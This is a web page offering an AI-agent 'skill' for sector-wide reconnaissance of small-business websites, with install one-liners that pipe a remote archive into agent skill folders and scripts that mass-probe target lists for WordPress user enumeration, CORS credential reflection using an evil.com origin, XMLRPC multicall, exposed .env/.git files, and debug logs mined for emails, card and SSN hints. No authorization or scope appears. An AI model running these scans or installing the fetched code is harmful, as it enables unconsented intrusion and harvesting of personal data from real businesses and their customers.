recon-sector – Security skill for AI agents
Parameterized sector recon using sector database.
Install the recon-sector skill with one command
Pick the tool you use, copy the command and paste it in your terminal. The skill lands in that tool's skills folder and is ready in your next session.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/recon-sector-8c684.tgz | tar xz -C ~/.claude/skills
Call it in Claude Code: /recon-sector – then describe the task you want done.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/recon-sector-8c684.tgz | tar xz -C ~/.codex/skills
Call it in Codex: $recon-sector – then describe the task you want done.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/recon-sector-8c684.tgz | tar xz -C ~/.hermes/skills
Call it in Hermes Agent: /recon-sector – then describe the task you want done.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/recon-sector-8c684.tgz | tar xz -C ~/.deepcode/skills
Call it in DeepSeek: /recon-sector – then describe the task you want done.
SKILL.md content
RECON-SECTOR — Parameterized Sector Reconnaissance
Unified sector-specific reconnaissance. Takes a sector name (e.g., plumbing, dentists, hvac), loads sector-specific platform and path data from references/sectors.yaml, and runs the standard recon probe suite: WordPress detection, CORS credential reflection, XMLRPC exposure, debug log mining, source leak checks, and directory listing detection.
Replaces 25 individual recon-* skills that were identical template copies with only sector name and platform names changed.
When to Use
- Starting recon on a target in a known SMB sector.
- After
sector-recon-methodologyproduces a target list and you need to probe. - When you want sector-aware path lists (financing pages, booking portals, etc.) tailored to the target's industry.
Prerequisites
references/sectors.yamlin the same directory as this SKILL.md.- Target domain list file (one domain per line).
How to Run
SECTOR="plumbing"
TARGETS_FILE="targets.txt"
python3 references/probe_sector.py "$SECTOR" "$TARGETS_FILE" output/Quick Reference
| Check | Paths | Severity if exposed |
|-------|-------|---------------------|
| WP detection | /wp-login.php, /wp-content/ | Info |
| REST API users | /wp-json/wp/v2/users | Medium (user enum) |
| CORS + REST API | /wp-json/wp/v2/users with Origin: https://evil.com | High (if ACAC: true) |
| XMLRPC | /xmlrpc.php | Medium (open), High (multicall) |
| Debug log | /wp-content/debug.log | High (PII/SQL leakage) |
| Directory listing | /wp-content/uploads/ | Medium-High (file exposure) |
| Source leaks | /.env, /.git/config, /info.php | Critical (creds in env) |
| Sector-specific paths | From sectors.yaml per sector | Varies |
Procedure
Step 1 — Load sector data
SECTOR="$1"
TARGETS_FILE="$2"
OUTDIR="${3:-output}"
python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
data = yaml.safe_load(f)
sector = data['sectors'].get(sys.argv[1], {})
print('\n'.join(sector.get('high_value_paths', [])))
" "$SECTOR"Step 2 — WordPress presence check
while IFS= read -r target; do
[ -z "$target" ] && continue
code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target/wp-login.php")
[ "$code" != "404" ] && echo "[WP] $target (HTTP $code)"
sleep 1
done < "$TARGETS_FILE"Step 3 — CORS credential reflection
while IFS= read -r target; do
[ -z "$target" ] && continue
headers=$(curl -sk --max-time 10 --connect-timeout 10 -I "https://$target/wp-json/wp/v2/users" \
-H "Origin: https://evil.com" 2>/dev/null)
if echo "$headers" | grep -qi "access-control-allow-origin: https://evil.com" && \
echo "$headers" | grep -qi "access-control-allow-credentials: true"; then
echo "[CORS] $target — credential reflection confirmed"
fi
sleep 2
done < "$TARGETS_FILE"Step 4 — XMLRPC exposure
while IFS= read -r target; do
[ -z "$target" ] && continue
body=$(curl -sk --max-time 10 --connect-timeout 10 -X POST "https://$target/xmlrpc.php" \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' 2>/dev/null)
if echo "$body" | grep -q "methodResponse"; then
has_multicall=$(echo "$body" | grep -c "system.multicall" || true)
echo "[XMLRPC] $target — active (multicall: $([ "$has_multicall" -gt 0 ] && echo YES || echo no))"
fi
sleep 1
done < "$TARGETS_FILE"Step 5 — Debug log mining
while IFS= read -r target; do
[ -z "$target" ] && continue
body=$(curl -sk --max-time 15 --connect-timeout 10 "https://$target/wp-content/debug.log" 2>/dev/null)
if [ -n "$body" ] && [ ${#body} -gt 200 ]; then
emails=$(echo "$body" | grep -Eo '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}' | sort -u | head -10)
pii=$(echo "$body" | grep -Eo '(address|phone|street|zip|SSN|card|CC|credit).{0,80}' | head -10)
echo "[DEBUGLOG] $target — $(echo "$body" | wc -c) bytes"
[ -n "$emails" ] && echo " Emails: $emails"
[ -n "$pii" ] && echo " PII hints: $(echo "$pii" | wc -l) lines"
fi
sleep 2
done < "$TARGETS_FILE"Step 6 — Sector-specific paths
while IFS= read -r target; do
[ -z "$target" ] && continue
for path in $(python3 -c "
import yaml, sys
with open('references/sectors.yaml') as f:
data = yaml.safe_load(f)
sector = data['sectors'].get('$SECTOR', {})
print(' '.join(sector.get('high_value_paths', [])))
"); do
code=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w '%{http_code}' "https://$target$path")
[ "$code" != "404" ] && echo "[SECTOR:$SECTOR] $target$path (HTTP $code)"
sleep 1
done
done < "$TARGETS_FILE"Pitfalls
- Parked/for-sale domains return HTTP 200 for every path. Cross-check: if
/robots.txtand/.envboth return 200 with near-identical HTML body, mark domain as parked and skip. - Wildcard DNS. Resolve a random string first:
dig RANDOMSTRING.target.com +short. If it resolves to the same IP as the domain, all subdomains appear live. - crt.sh rate limiting. Use
--max-timeand expect occasional empty JSON. Retry with delay. - Debug log content verification. A 200 status on
/wp-content/debug.logwithout sensitive content is NOT a finding. Check for actual PII patterns (emails, phone numbers, SQL queries). - CORS false positives.
ACAO: *withoutACAC: trueis NOT exploitable. OnlyACAO: <reflected origin>+ACAC: truequalifies.
Verification
- Every CORS finding MUST have both
Access-Control-Allow-Origin: <reflected>ANDAccess-Control-Allow-Credentials: trueconfirmed. - Debug log findings MUST contain actual PII patterns (emails, phone numbers, addresses, SQL queries) — not just a 200 status.
- XMLRPC findings MUST confirm
methodResponsein body — not just a 200 status. - Directory listing MUST show actual
Index ofheader — not assume from 200 status alone. - All findings should be saved to per-target markdown files under
$OUTDIR/.
Related Skills
wp-mass-recon— batch scanner for high-volume WordPress probing.sector-recon-methodology— sector selection and target generation.deep-invade— deep pentest for high-value targets (score >= 6).cors-credential-wordpress— detailed CORS exploitation methodology.xmlrpc-exploitation— XMLRPC attack vectors (multicall, pingback SSRF, brute force).source-leak-hunt— sensitive file detection (.env, .git, backups).error-log-mining— error log credential and PII mining.
Related skills
- recon-sector-expansion – Multi-sector batch domain expansion — identify untested/under-tested sectors, generate…
- container-scanning – Scan container images for vulnerabilities using Trivy, Grype, and cloud-native tools.
- container-security-hardening – Harden Docker/container images and runtime deployments with secure base images, non-root…
- s3-minio-content-type-xss – Exploit public bucket Content-Type override for stored XSS on target origin.
- qutip – Simulate and audit closed and open quantum-system models with QuTiP 5, including…
- sast-configuration – Configure Static Application Security Testing (SAST) tools for automated vulnerability…
- scada-hikvision-isapi – Enumerate Hikvision ISAPI endpoints on SCADA and IoT web interfaces.
- sector-recon-methodology – Pick sectors, compile targets, batch recon for campaigns.